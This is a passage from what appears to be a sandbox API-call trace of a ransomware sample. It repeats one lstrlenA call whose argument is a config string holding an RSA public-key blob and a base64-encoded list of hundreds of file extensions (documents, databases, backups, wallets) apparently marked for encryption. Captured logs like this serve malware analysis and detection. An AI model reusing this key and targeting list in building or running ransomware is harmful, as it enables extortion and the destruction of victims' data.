C5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhs